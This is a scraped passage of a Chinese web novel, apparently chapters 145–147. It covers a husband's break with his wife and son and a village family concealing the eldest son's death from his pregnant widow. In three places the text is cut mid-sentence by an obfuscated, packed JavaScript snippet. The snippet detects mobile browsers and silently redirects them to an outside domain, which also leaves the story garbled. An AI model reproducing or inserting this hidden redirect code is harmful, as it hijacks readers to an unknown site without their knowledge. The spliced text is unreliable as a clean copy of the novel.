冯玉航却毫无愧疚之意,反而冷笑着回应道:“我狠毒?哼,他们哄着我放弃了我最喜欢的女人娶了你,那你们就必须都得付出点代价!” 一旁的冯玉龙再也按捺不住心中的怒火,他怒视着冯玉航,厉声道:“你最在意的人只有你自己!你辜负了身边所有爱着你的人!” 面对冯玉龙的指责,冯玉航的脸色变得阴沉至极,他咬牙切齿地说道:“小子,你懂什么!你也不小了,应该明白爱是这天底下最没用的东西,只有钱,才能买到任何你想要的东西,如今,没了那个茶楼,我依然可以拥有第二个茶楼,第三个茶楼!” 随后他转头看向安素素:“既然你们都知道了,我再也不需要去伪装了,也不需要什么事情都去围着你们转了!从明天起,我冯记茶楼在西街正式开张,安素素,你总有一天得跪着来求我,我们走着瞧!” 冯玉龙听的怒气升腾,冲向父亲,一双眼睛死死地盯着冯玉航,他的手紧紧地揪住了冯玉航的衣领,使得冯玉航几乎喘不过气来。 “你简直是个畜生!”冯玉龙的声音因为愤怒而有些颤抖,“你居然对奶奶都能下得去手……” 然而,面对冯玉龙的斥责,冯玉航却只是嘴角微微上扬,露出了一抹让人捉摸不透的笑容。 “哈哈,玉龙,你别这么激动嘛。”冯玉航轻描淡写地说道,“你要知道,你可是我冯玉航的儿子,说不定哪天你也会变得跟我一样呢……” 听到这句话,冯玉龙的脸色变得更加难看了。他瞪大了眼睛,难以置信地看着冯玉航,仿佛不认识眼前这个人一般。 “玉龙,你回来!”安素素突然转头对一旁的冯玉龙喊道,“这种**,我们根本不需要去理会他!他不配做你的父亲!” 冯玉龙站在原地,沉默了片刻,然后缓缓地松开了揪住冯玉航衣领的手。 “从今天开始,我们断绝一切关系。”冯玉龙的声音冰冷而决绝,“你不再是我的父亲,我也不再是你的儿子。你走你的阳关道,我过我的独木桥,从此井水不犯河水!” 说完,冯玉龙深吸一口气,继续说道:“还有,以后你也别再来纠缠我娘了!她以后也不会再理你了!” 冯玉航显然没有料到冯玉龙会如此决绝,他的脸色瞬间变得阴沉下来。 “你居然想跟我断绝关系?”冯玉航的声音中透露出一丝惊讶和不甘。 安素素毫不犹豫地点了点头,说道:“对,不止是他,今日起,你我夫妻情尽于此!以后,我们就当彼此是陌生人吧!” 冯玉航仰天大笑道:“你一个老女人了,还在这儿大言不惭,女人?爷我女人多的是,儿子女儿我都有,你看看小星再看看你,你以为我还多深爱着你呢!我承认一开始你那种书香气质的大小姐确实很吸引我,现在嘛……早就今时不同往日了,像你这样的泼妇,我早就该休了你了……” 安素素的眼眶渐渐湿润,泪水像断了线的珠子一般,不受控制地顺着脸颊滑落。她的声音略微有些颤抖,却坚定地说道:“今日,并非是你休我,而是我要休了你!你整日沉迷于酒色,欺骗我这么多年,今日正好一拍两散!” 说罢,她毫不犹豫地将一封早已写好的休书狠狠地扔在了冯玉航的脸上。 冯玉航显然没有料到安素素会如此决绝,他的脸色瞬间变得极为难看,满脸恼怒地吼道:“安素素,你这个不知羞耻的女人!天底下哪有女人休男人的道理!” 面对冯玉航的斥责,安素素并没有丝毫退缩,她挺直了身子,直视着冯玉航的眼睛,冷冷地回应道:“别人如何与我无关,我只知道,我不能再与你这种人继续生活下去了。” 冯玉航见状,更是怒不可遏,他恶狠狠地说道:“好啊,安素素,你给我等着瞧!我一定会让你那茶楼倒闭,到时候看你还怎么嚣张!我倒要看看,你总有跪在我面前求我的那一天!” 安素素无视了他在背后的废话,安素素打开门走了出去,朝着那对母子望了一眼后,转身就离开了! 冯玉龙望向了那对母子,只见那母亲正紧紧地抱着孩子,满脸忧愁地看着他。冯玉龙心中不禁一动,但还是咬咬牙,转身继续向前走去。 然而,当他们走到外面的时候,突然听到身后传来一阵急促的脚步声。冯玉龙回过头去,只见小星抱着孩子,气喘吁吁地在后面追了上来! 冯玉龙停下脚步,看着眼前的这个女人,皱起了眉头,不耐烦地问道:“你跟着我们做什么?” 小星扑通一声跪在了地上,泪水像决堤的洪水一般涌出眼眶。她紧紧地抱住孩子,哀求道:“求你们带我一起走吧!他……他会打死我的!” 安素素慢慢地转过头来,目光落在那女子身上,眼中透露出一丝疑惑和不解。她的声音平静而冷漠。 “你为什么会觉得我会带你走呢?”安素素的话语如同一股清泉,在空气中缓缓流淌,却带着一种让人无法忽视的压力。 那女子被安素素的质问吓了一跳,她的嘴唇微微颤动着,似乎想要说些什么,但最终还是没有勇气开口。她低下头,不敢与安素素对视,心中充满了不安。 安素素见状,嘴角微微上扬,露出一抹淡淡的笑容。然而,这笑容并没有丝毫的温度,反而让人感到一阵寒意。她不再理会那女子,转身离去,留下那女子站在原地,不知所措。 正如大家所预料的那样,第二天,西街果然又新开了一家冯记茶楼。这家茶楼的声势异常浩大,不仅门前张灯结彩,还请来了锣鼓队助兴,吸引了众多路人的围观。而且,茶楼的价格十分亲民,比起其他茶楼要便宜不少,这无疑给周围的竞争对手带来了巨大的压力。 然而,面对这样的情况,安素素却选择了闭门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466889|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歇业。她对这茶楼已经失去了兴趣,不想再继续经营下去。她觉得自己的生活需要一些改变,不能再被这小小的茶楼所束缚。 眼看时间已经进入了腊月。天气变得格外寒冷,寒风刺骨,让人不禁瑟瑟发抖。 安素海打算接妹妹回家住一段时间,好好照顾她。 然而,当安素海向安素素提出这个想法时,安素素却毫不犹豫地摇了摇头。她的心中有着自己的打算,她想去更远的地方看一看,去探索那些自己从未去过的地方。她渴望体验不同的生活,感受不同的风土人情! 茶楼便交由大哥代为处理了,这些年自己也积攒了不少积蓄,玉龙也说很想去看看外面的世界,于是,母子两人打算换一个地方重新生活! 时光荏苒,岁月如梭,转眼间便到了腊月二十几。在外忙碌了许久的人们终于迎来了期盼已久的假期,纷纷结算完工钱,兴高采烈地踏上归途,满心欢喜的期待着回家与家人团聚。 姚光宇看着周围的同伴们一个个都收拾行囊,准备回家,心中不禁涌起一股淡淡的惆怅。 他转过头,目光落在了一旁的云义身上,犹豫片刻后,还是开口问道:“你这回家该怎么跟家里人说呢?” 云义无奈地摇了摇头,脸上露出一丝苦涩的笑容。他知道,自己的情况有些特殊,这个谎言恐怕不太好圆过去。 姚光宇见状,叹了口气,安慰道:“哎……没办法啊,这里还要等到元宵节以后才会有活儿干呢!不过你也别太担心,我会帮你想办法的。” 云义感激地看了姚光宇一眼,说道:“那就先谢谢你了,光宇大哥。如果我娘找你打听起我大哥的事情,你可千万要帮我瞒着啊!” 姚光宇拍了拍云义的肩膀,郑重地说道:“放心吧,兄弟,这点儿小事儿,我还是知道该怎么做的!” 就这样,当初一同前来的几个人又一起踏上了回家的路。然而,与来时不同的是,这次队伍中唯独少了一个人——云亭。 临行前,云义又到云亭的坟上磕了三个头,倒上一壶酒:“大哥,快要过年了,我过年之后再回来看你!你再等等,我现在还不能告诉家里面,过段时间我再带你回家!” 云义到家后,照常拿出来了各种物品,糖果瓜子一些年货,还带回来一些新布料! 杏花和秀兰站在门口,焦急地朝着门外张望着。杏花皱起眉头,满脸忧虑地说道:“这都快要过年了,你大哥他不会还没有回来吧?” 传家在一旁附和道:“是啊,怎么没看见我爹回来,他到底去哪儿了?” 云义站在旁边,眼神有些躲闪,他犹豫了一下,然后说道:“你爹他……他在新县有点事情,所以就让我先回来啦。”他的声音略微有些低沉,似乎有些心虚。 秀兰听了云义的话,更加担心了,她着急地说:“可是都要过年了啊!他一个人在新县,怎么能过好年呢?” 云义心里有些慌乱,他迅速想了一圈,然后解释道:“哦,是这样的,之前大哥和文孝大哥他们在新县那边帮了不少人,那些人特别热情,非要感谢我大哥,所以我就先回来了。”他一边说着,一边微微低着头,不敢看杏花和秀兰的眼睛。 就在这时,唐小雨怀里抱着她那可爱的小儿子佳民,缓缓地走进了院子。她一进门,便高声说道:“哟,你们家赚钱的人回来了呀?那我是不是来得不太凑巧呢?” 听到唐小雨的话,杏花赶忙迎上去,笑着说道:“哎呀,你这说的是哪里的话呀!你来得可太是时候啦!云义这次回来,带了好多好吃的呢!你快进来坐,我给你拿些带回去给孩子们尝尝!” 说着,杏花快步走到桌子前,伸手抓起桌上的糖果子,不停地往唐小雨的口袋里塞。唐小雨有些不好意思地笑着,嘴里还不停地说着:“哎呀,不用这么多啦,孩子们吃不完的……” 第146章 男人有钱就变坏 唐小雨看着云义,拉过秀兰,问道:“云义回来了,你们家云亭呢?”她的目光注意到云义的眼神都有些落寞。 杏花似乎察觉到了唐小雨的疑惑,连忙挤出一脸微笑,解释道:“嗨,之前云亭不是和文孝去帮过那新县那边的人嘛!人家那边的人非要感谢云亭,说是过两天就回来!” 唐小雨听后,哦了一声,虽然表面上看起来接受了这个解释,但她的心里却总觉得有些怪怪的。她不禁想,哪有人会大过年的都不回家的呢?这实在是有些不合常理。 带着满心的疑虑,唐小雨走进屋子。她一边走,一边回头看了一眼云义,只见他的表情依然显得有些沉重。 进屋后,唐小雨拉过秀兰,关切地问道:“你这肚子都几个月了,他过年都不回家来,也真放心得下你!”她的语气中带着一丝不满和担忧。 秀兰面带微笑地说道:“是啊,时间过得真快,都已经五个多月啦!不过云亭他跟我说过,孩子出生之前他一定会回来的。” 唐小雨听后,脸上露出一丝担忧的神色,她迟疑地说:“我怎么老是觉得有点不太对劲呢?人家可都说了男人一旦有了钱,就会变坏。你说云亭他会不会在外面有别的女人啊?” 秀兰听了唐小雨的话,心里不禁“咯噔”一下,但她还是勉强笑着回答道:“那……应该不会吧!” 唐小雨却不以为然地摇摇头,继续说道:“这可说不准啊,谁能知道他在外面到底是怎样的呢?万一他要是真的变了呢!” 秀兰的眉头微微皱起,她低头沉思了一会儿,然后缓缓地说:“可是他每个月的工钱都会让云义带回来给我了啊……我觉得他应该不会做出那种事的,但是他会不会是有其他什么事情耽搁了呢?” 唐小雨叹了口气,说:“就是嘛,大过年的都不回家来,这肯定有问题!” 杏花缓缓地走了进来,她的脚步声轻柔而缓慢,仿佛生怕打破屋内的宁静。一进门,她就微笑着问道:“小雨啊,你刚才在说啥有问题啊?” 唐小雨显然有些紧张,她的脸色微微一红,结结巴巴地回答道:“哦……没……没啥问题!我那个……还有点事儿,就先回家去了!”说着,她匆匆忙忙地站起身来,似乎想要尽快逃离这个让她感到尴尬的地方。 杏花见状,连忙笑着挽留道:“小雨,别着急走呀!没事儿的时候多来家里坐坐,陪秀兰聊聊天嘛!”她的语气十分亲切,透露出对唐小雨的关心和喜爱。 然而,秀兰却没有心思去理会母亲的挽留,她的心中充满了忧虑。只见她眉头紧锁,一脸愁容地对杏花说:“娘,你说,云亭他会不会真的像小雨说的一样,他不想回家来啊?” 杏花听了,不禁感到有些诧异,她疑惑地问道:“小雨说啥了?云亭咋会不愿意回家来呢!” 秀兰犹豫了一下,还是决定把唐小雨的话告诉母亲。她低声说道:“她说男人有钱就变坏,会不会是他真的在外面有了别人,所以才不愿意回家……”说到这里,秀兰的声音越来越小,最后几乎变成了耳语。 杏花皱起眉头,忧心忡忡地说道:“这个唐小雨啊,怎么能这样说话呢?你可千万别胡思乱想啊,云亭他绝对不是那样的人!” 尽管杏花嘴上这么说着,但她心里却不禁犯起了嘀咕。大过年的,云亭怎么会连家都不回呢?这实在是太反常了。她总觉得云义似乎隐瞒了什么,好像有什么话没有说出来。 越想越觉得不对劲,杏花决定不再犹豫,她站起身来,快步走到门口,大声喊道:“云义,你给我进来!” 听到母亲的呼喊,云义心里猛地一紧,他知道该来的终究还是来了。他深吸一口气,缓缓走进屋里,站在母亲面前,低着头,不敢看她的眼睛。 杏花看着云义,眼中闪过一丝疑虑,她严肃地问道:“云义,你跟我说实话,你哥他到底为什么不回家?” 云义的身体微微颤抖了一下,他的内心像被一只无形的手紧紧揪住,让他有些喘不过气来。他张了张嘴,却发现自己竟然不知道该如何回答母亲的问题。 见云义半天不吭声,杏花有些着急了,她用力地拍了一下桌子,提高了声音:“你倒是说话啊!是不是真有什么事情瞒着我?” 云义被母亲的举动吓了一跳,他连忙抬起头,结结巴巴地说:“没……没有,娘,我真的没有瞒你什么!真的是哥……他可能过几天就回来了!” 杏花一脸严肃地看着云义,追问道:“那你给我说实话,你哥他……是不是真的在外面做了什么对不起你嫂子的事情!” 云义连忙摆手,语气坚定地回答:“没有,绝对没有!大哥他绝对不是那样的人!” 杏花见状,叹了口气,无奈地说:“那他怎么不回家呢?你看你嫂子和孩子们,都眼巴巴地盼着他能回来过年。这孩子,到底心里在想些什么啊!” 云义沉默了一会儿,似乎在思考着什么,但最终还是没有说出一个字。他犹豫了一下,找了个借口,匆匆忙忙地离开了房间。 杏花独自坐在屋里,心中充满了疑虑和不安。她反复琢磨着这件事情,总觉得有什么地方不对劲,但又说不上来具体是哪里出了问题。突然,她脑海中闪过一个念头——姚家村的姚光宇。当初,两个孩子不就是和他一起去的新县吗?也许,他能知道一些关于云亭的事情。 想到这里,杏花决定隔天就去姚家村,一定要找姚光宇问个清楚明白。 隔天,姚家村,姚光宇的家门口。此刻,他家的院子里充满了欢声笑语,两个儿子和一个女儿正在尽情地嬉戏玩耍着。 突然,一阵脚步声传来,原来是杏花。她站在院子门口,轻声问道:“光宇在家吗?” 姚光宇听到声音,抬起头来,疑惑地看着来人,问道:“谁啊?找我有啥事儿?” 杏花微笑着回答道:“那个……光宇啊,我是云亭和云义的娘,我就是有点小事儿想来问一下!” 听到这话,姚光宇的心里顿时“咯噔”一下,他的心跳瞬间加速,仿佛提到了嗓子眼儿一般。他定了定神,连忙说道:“是婶子来了啊!要不……您进屋坐会儿!”说着,他站起身来,迎向杏花,脸上露出有些不自然的笑容。 杏花站在门口,脸上露出些许焦急之色,她看着屋内的姚光宇,语气有些急切地说道:“坐我就不坐了,这你们都回来了,就云亭他没回来,云义又问不出来个什么,我就来问问,云义是不是有啥事儿瞒着我!要不然这都要过年了,云亭咋就不回家来过年呢!” 姚光宇站在那里,脸上露出一副为难的表情,他犹豫了一下,然后说道:“婶子,云亭兄弟他可能……过段时间就回来了!” 杏花一听,眉头皱得更紧了,她追问道:“怎么还要过段时间呢?现在家家户户不都在准备过年的嘛,他不回家来他还能去哪儿呢!” 姚光宇心里暗暗叫苦,他实在不知道该怎么回答杏花的问题。毕竟云亭是跟着他一起出去的,但是却没有一起回来。 姚光宇的内心深处也充满了自责,他觉得自己对云亭的事负有一定的责任,这让他感到非常内疚。 他让自己媳妇儿装了刚出锅的红豆枣泥馅儿的包子,还有一些孩子们喜欢吃的糖果子:“婶子,这红豆包子刚才蒸刚出锅的,你带一点回去跟孩子们一起吃吧!其他的事儿啊,你也别担心太多,不是还有云义的嘛!云义那么大个大小伙子在,你还有啥不放心的啊!” 杏花皱起眉头,忧心忡忡地说道:“话虽然是这样讲,但云亭媳妇儿的月份确实已经大了!家里那几个孩子也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15470794|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都想念他呢!真不知道是啥原因,他到现在都还没回来,我这心里啊,就像被猫抓了一样,乱得很呢!” 姚光宇心中暗自叫苦不迭,生怕自己一个不小心说错话,所以他当机立断,决定赶紧转移话题。 他结结巴巴地说道:“那个……婶子,您别太担心啦,云亭他肯定好着呢!我……我老姨刚才托人带话,叫我过去一趟,我还有些事情要去忙一下,就不能再陪您唠嗑啦!” 光宇媳妇儿在一旁嘀咕道:“老姨?你老姨都走了多少年了,咋突然又想起你老姨来了?” 姚光宇听到媳妇儿的话,心中一紧,连忙瞪了她一眼,呵斥道:“我……我说的是我老姨父……”他一边解释着,一边朝着杏花露出一个略显尴尬的笑容,然后抬手在额头上擦了一把汗,仿佛这样就能掩盖住他的慌张似的。紧接着,他也顾不得其他,急匆匆地转身走出了门。 杏花看着姚光宇匆匆离去的背影,心中有些不是滋味儿。她觉得自己似乎有些打扰到人家了,于是也不好意思再多做停留,便只好无奈地叹了口气,转身朝着回家的方向走去。 杏花有些苦恼的往前走着,眉头微皱,凝视着姚光宇刚才离去的方向,心中暗自思忖:他刚才的神情有些异样,好像是有什么事情一样。一种不安的感觉涌上心头,让她无法释怀。 经过一番内心的挣扎,她还是有些不安心,想去问问云亭在那边到底还有几天才能回来,想到这里,她转身又朝着姚光宇家走去。 与此同时,姚光宇在外面漫无目的地闲逛了一圈后,最终还是回到了家里。他的心情似乎有些沉重,脚步也显得有些拖沓。 刚一进门,光宇媳妇儿就迎了上来,一脸狐疑地看着他,质问道:“你说你,有啥不能说的,还说什么看你老姨,躲躲藏藏的,这种借口你居然也能想得起来!” 姚光宇见状,脸色微微一变,但还是强装镇定地解释道:“你知道个屁啊!李云亭都不在了,家里媳妇儿还挺着个大肚子呢,他兄弟都瞒着不敢往外说,咱们谁敢说出去啊!这要是搞不好,可是一尸两命啊!” 光宇媳妇儿听了这话,如遭雷击般瞪大了眼睛,满脸惊愕地问道:“你说啥?人不在了?” 姚光宇压低了声音,面带怒气地对面前的人吼道:“**小点声儿!以后把你那张破嘴给老子闭严实了,别什么话都像个大喇叭似的往外面嚷嚷!” 然而,这一切都被刚刚折返回来的杏花听到了。她刚到院门外就意外地听到了姚光宇和他媳妇儿的对话。杏花的脸色瞬间变得苍白,她呆呆地站在原地,心中充满了震惊和痛苦。 她只觉得天旋地转,自己辛辛苦苦拉扯大了两个儿子,原以为生活正一天天的变好,可没想到,云亭他……怎么就没了……怪不得云义支支吾吾说不明白,姚光宇也找借口不愿意告诉自己!她心中有些生气,生气的是,云义竟然对她隐瞒了这件事!这让她感到无比的愤怒和失望。然而,在愤怒的同时,她又不禁暗自庆幸,还好云义没有将此事告知秀兰,否则后果简直不堪设想。 杏花强忍着心中的悲痛,艰难地支撑着自己摇摇晃晃的身躯,一步步地朝着村边走去。今天是大年三十,本应是个喜庆祥和的日子,可她的心情却如同这冬日的寒风一般,冰冷而凄凉。 此时此刻,村里的家家户户都在忙碌地张罗着准备各种美味佳肴,空气中弥漫着浓浓的年味。那一幅幅鲜艳的红对联,仿佛在嘲笑着杏花的落寞与无助。 当杏花走到村边时,李文孝一眼就注意到了杏花的异常,连忙迎上前去,关切地问道:“婶子,你这是要去哪儿了?” 杏花只是无力地摇了摇头,她实在是没有心情和李文孝多说话。她的脚步踉跄,仿佛随时都会跌倒,艰难地向前走着。 第147章 瞒不住了 没走几步,杏花突然觉得眼前一阵发黑,天旋地转。她的身体像是失去了支撑一般,软绵绵地倒了下去。在意识逐渐模糊的瞬间,她似乎听到了李文孝焦急的呼喊声,但那声音却越来越微弱,最终消失在了黑暗之中…… 在迷迷糊糊的状态下,杏花仿佛失去了对身体的控制,她的脚步不由自主地朝着那片迷雾走去。雾气弥漫,让她几乎看不清周围的环境,但她却能清晰地听到云亭的声音。 "云亭,是你吗?儿子,你在哪儿啊?"杏花焦急地呼喊着,声音在迷雾中回荡。 云亭的声音似乎从很远的地方传来,带着一丝无奈和愧疚:"娘,对不起,我回不去了,秀兰和孩子们只能靠你们帮忙照顾了!娘,拜托你回去吧,秀兰还需要你!" 杏花的心头一紧,泪水模糊了她的视线。她拼命地想在迷雾中找到云亭的身影,但却什么也看不到。 "云亭,我的儿啊!你怎么能丢下娘不管呢?"杏花哭诉着,心中充满了绝望和无助。 就在这时,她突然感觉到有人在轻轻摇晃她的身体,同时耳边传来了云义、秀兰和文孝的呼喊声。 "娘,娘,你醒醒啊!" "婶子,你这是咋了?怎么突然间就晕了!" 杏花的意识逐渐恢复,她缓缓睁开眼睛,看到云义、秀兰和文孝都守在床前,满脸关切地看着她。 原来,在她晕倒后,文孝发现了她,立刻将她背了起来送回了家。 秀兰满脸忧虑地看着杏花,焦急地问道:“娘,您可真的把我们给吓坏了啊!早上您还好好的呢,怎么突然就晕倒了呢?”她的声音中透露出对母亲的担忧和关切。 一旁的云义也赶紧附和道:“娘,您现在感觉怎么样?有没有哪里不舒服?”他的眉头紧蹙,显然对母亲的状况十分担心。 杏花的眼眶湿润了,她轻轻地擦拭着眼角的泪水,哽咽着说:“我没事儿,就是突然有点想你爹了……”她的话语中流露出对丈夫的深深思念。 杏花稍稍平复了一下情绪,转头对云义说:“云义啊,你出去买点纸钱吧,等会儿陪我一起去给你爹上个坟。”云义连忙点头答应,然后匆匆出门去了。 待云义离开后,杏花拉起秀兰的手,温柔地说道:“秀兰啊,真是辛苦你了!云亭在外面还有事情要忙,一时半会儿回不来,这个家现在就全靠你操持了。”她的眼中充满了感激和歉意。 秀兰微笑着摇了摇头,安慰道:“娘,您别这么说,这都是我应该做的。等云亭回来了,咱们家肯定又会像以前一样热闹起来的!”她的笑容如春风般和煦,让人感到无比温暖。 杏花满脸泪痕地扭过头去,她的手微微颤抖着,轻轻地擦拭着眼角的泪水,嘴里喃喃地说着:“是,是……”声音有些哽咽,仿佛有千言万语却难以启齿。 文孝见状,急忙关切地问道:“婶子,大过年的,您这怎么还哭了呢?是不是遇到什么难事了呀?要是有什么难处,您可一定要跟我说啊!我能帮上忙的话,肯定会尽力帮忙的!”他的语气充满了真诚和担忧。 一旁的秀兰也附和道:“是啊,娘,您这到底是怎么了呀?”她走到杏花身边,轻轻地递过去一个手帕,试图安慰她。 杏花深吸一口气,努力忍住了眼泪,然后勉强挤出一个微笑,对文孝和秀兰说:“没啥难事,我这是高兴呢!再过几个月,我就又有一个小孙孙啦,我这心里呀,可高兴着呢!” 尽管杏花努力掩饰着自己的情绪,但她那微微颤抖的声音还是透露出了一丝不易察觉的哀伤。秀兰有些狐疑地看着母亲,总觉得事情没那么简单,但又不好直接追问。 这时,杏花颤巍巍地站起身来,秀兰连忙扶住她,关切地说:“娘,您不好好躺着休息,起来干什么呀?” 杏花拍了拍秀兰的手,微笑着说:“我没事儿,大年三十了,我要去给你爹上个坟。等云义回来了,让他去你爹坟上找我吧。”她的表情异常严肃,没有丝毫商量的余地。 说完,杏花便缓缓地朝着门外走去,脚步显得有些沉重,仿佛背负着千斤重担。 秀兰见状,急忙高声呼喊传家:“传家,快过来!你去扶着你奶奶,陪她一起去!” 杏花连忙摆手,笑着说道:“不用啦,我自己去就行,就让传家留在家里吧。其实我心里有些话想去跟你爹唠唠,传家在旁边的话,我反而会觉得有些难为情,不好开口呢!” 文孝见状,赶忙说道:“那这样吧,婶子,要不我陪您一起去?” 杏花略微思考了一下,为了让秀兰放心,她最终还是点了点头,表示同意。 两人缓缓地走着,很快就来到了村子的边上。杏花突然停下脚步,转头对文孝说:“文孝啊,大过年的,你也赶紧回家去吧。等一会儿云义就该回来了,我就想一个人在他爹的坟前静静地待一会儿。” 文孝听杏花这么说,有些不放心地问道:“婶子,您真的没事吗?” 杏花用手轻轻地擦拭着眼角的泪痕,她的动作有些迟缓,似乎还沉浸在悲伤之中。文孝在一旁看着她,想要安慰几句,但最终还是没有开口。杏花没有理会文孝,她缓缓地站起身来,脚步有些踉跄,像是失去了全身的力气一般。 她独自一人走向了云亭他爹的坟墓,那座坟墓静静地矗立在山坡上,周围长满了青草。杏花走到坟前,慢慢地坐了下来,她的身体微微颤抖着,泪水像决堤的洪水一样从眼眶中涌出,顺着脸颊滑落。 过了一会儿,云义拎着一沓纸钱走了过来。他远远地就看到母亲坐在坟头哭泣,心中一阵酸楚。他快步走到母亲身边,想要把母亲扶起身来,却被杏花喝止。 “你给我跪下!”杏花的声音带着一丝威严,云义不由得浑身一颤,扑通一声跪了下去。 “当着你爹的面,你不准撒谎,你告诉我,你大哥到底怎么了?”杏花的目光紧紧地盯着云义,眼中充满了痛苦和绝望。 云义的一颗心提到了嗓子眼儿,**母亲为什么会突然跑来给父亲上坟,更不明白母亲为什么要这样逼问他。他犹豫了一下,终于还是开口说道:“娘,我大哥他就是……他就是现在还回不来,过段时间就回来了!” 他的声音有些发颤,说完这句话后,他赶紧低下头,用手指头不断地抠着自己的衣角,不敢看母亲的眼睛。 杏花显然对云义的回答并不满意,她的脸色变得更加阴沉,“当着你爹的面,你还是不肯告诉我实话吗?!”她的声音提高了八度,带着些许愤怒。 云义抬起头,看着母亲那布满泪痕的脸庞,心中一阵难受。**该如何回答母亲的问题,只能结结巴巴地说道:“娘……您这是……” 杏花满脸哀怨地看着云义,泪水在眼眶里打转,声音略微有些颤抖地说道:“你要瞒着你大嫂,我不怪你,毕竟她有孕在身,有些事情知道了反而不好。可是你千不该万不该,居然连我都蒙在鼓里啊!” 云义听到母亲的话,心中一阵酸楚,眼泪像决堤的洪水一般奔涌而出,他哽咽着说道:“娘,您……都知道了?!” 杏花看着儿子那痛苦的模样,心中更是如刀绞一般,她的泪水也像断了线的珠子一样不停地滚落下来,“孩子啊!你不该瞒着我的啊!你大哥他人都没了,做娘的我连最后一面都不能见到,我心痛啊……” 云义一边哭着,一边将事情的经过一五一十地告诉了母亲。当杏花听完这一切后,哭得愈发伤心,最后竟直接晕了过去…… 过了好一会儿,杏花才缓缓地睁开眼睛,她的脸色苍白如纸,看上去十分虚弱。云义见状,急忙上前扶住母亲,关切地问道:“娘,您感觉怎么样?” 杏花轻轻地摇了摇头,伸出手抚摸着云义的脸颊,语重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477231|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心长地说:“云义,以后你可要多帮衬些你大嫂,几个孩子都丢给了你大嫂一个人,她一个人拉扯大这些孩子,实在是太难了……” 云义重重地点了点头,泪水再次模糊了他的双眼,“娘,我知道了,您放心吧。” 母子二人就这样相拥而泣,尽情地宣泄着内心的悲痛和哀伤。哭了好一会儿,云义才强忍着泪水,搀扶起母亲,缓缓地朝着家的方向走去。 母子两人刚走到家,秀兰便发现了两人的状态不对,情绪低落,秀兰心想,兴许真的是婆婆太想念公公了也说不定呢! 这一年的春节,除了那几个孩子很开心之外,其他人的心里都各有各的悲伤…… 这个春节,杏花过的浑浑噩噩,似乎还没有完全接受云亭已经不在了的事实!一边还要瞒着这事情怕秀兰知道了出什么意外,一边内心积压的情绪让她无处宣泄,才几天的功夫,她整个人都憔悴了很多,身体也不由得变差了不少! 云义凝视着母亲那一副憔悴的面容,心中不禁涌起一阵酸楚。他轻声说道:“娘,您一定要保重身体啊!过段时间,嫂子生孩子坐月子,还得依靠您来照顾呢。” 杏花微微叹息,忧心忡忡地回应道:“是啊……可是到时候你大哥回不来,我们又该用什么借口来隐瞒这个事实呢?” 云义思索片刻,突然灵机一动,说道:“要不然,我每个月把钱偷偷地捎回来,然后立刻离开,不让嫂子发现我。这样一来,嫂子就不会起疑,也不会觉得奇怪为什么就只有大哥没有回来。” 杏花听后,面露难色,担忧地说:“这样做虽然能暂时瞒过嫂子,但对你来说实在太委屈了啊。” 云义连忙宽慰母亲道:“娘,我真的没事的!现在家里孩子多,我大哥又不在,我理应替他照顾这些孩子们啊。” 母子两个经过一番商议之后,决定暂时把云亭去世的消息深埋在心底,暂时还不能让别人知道,尤其是秀兰,她月份大了,受不了这样的刺激! 过完年后没多久,云义便又收拾行囊离开了,他不敢面对嫂子,害怕嫂子向他打听大哥的情况,他趁天没亮,悄悄看望了母亲一眼便匆匆离开了! 只是云义走了以后的没几天,杏花就身体不适,早就没了往日的那份精神! 听闻了杏花生病的消息,文孝一家人赶忙上门来探望。一进门,唐小雨就看到杏花面色苍白地躺在床上,心里不禁有些担忧。 唐小雨走到床边,关切地问道:“婶子,你这都病了,怎么也不托人去告诉云亭和云义一声呢?” 杏花轻轻地摇了摇头,微笑着说:“告诉他们干什么呢?我自己的身体我自己清楚,这点小病没什么大不了的,过几天就好了。” 唐小雨听完以后,拉过一旁的秀兰拉到一边,仔细端详着她的肚子,心疼地说:“你看看你这肚子都多大了,现在正是需要人照顾的时候。你娘这又病了,我看你还是托人把云亭叫回来比较好,这样也能帮你分担一些。” 秀兰犹豫了一下,回答道:“还是再过些日子吧,现在传家在家的时候也能帮我一些忙。而且云亭在外面也不容易,我不想给他添麻烦。” 唐小雨在一旁听了,忍不住插嘴道:“你啊,就是不听劝。云亭是你丈夫,他有责任照顾你和孩子。再说了,他知道他娘生病了,肯定也会回来的。你这样自己硬撑着,万一有个什么闪失,可怎么得了?” 李文孝一脸担忧地看着杏花,轻声问道:“婶子,您怎么突然就病了呢?” 杏花缓缓抬起头,眼神有些空洞,她苦笑着说:“文孝啊,我没病,我这是心病啊……” 